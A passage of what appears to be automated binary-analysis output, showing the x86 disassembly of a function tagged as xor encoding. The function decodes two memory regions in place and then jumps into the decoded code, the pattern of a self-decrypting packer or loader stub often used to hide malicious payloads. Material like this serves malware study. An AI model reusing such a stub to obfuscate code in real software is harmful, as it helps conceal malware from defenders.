pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx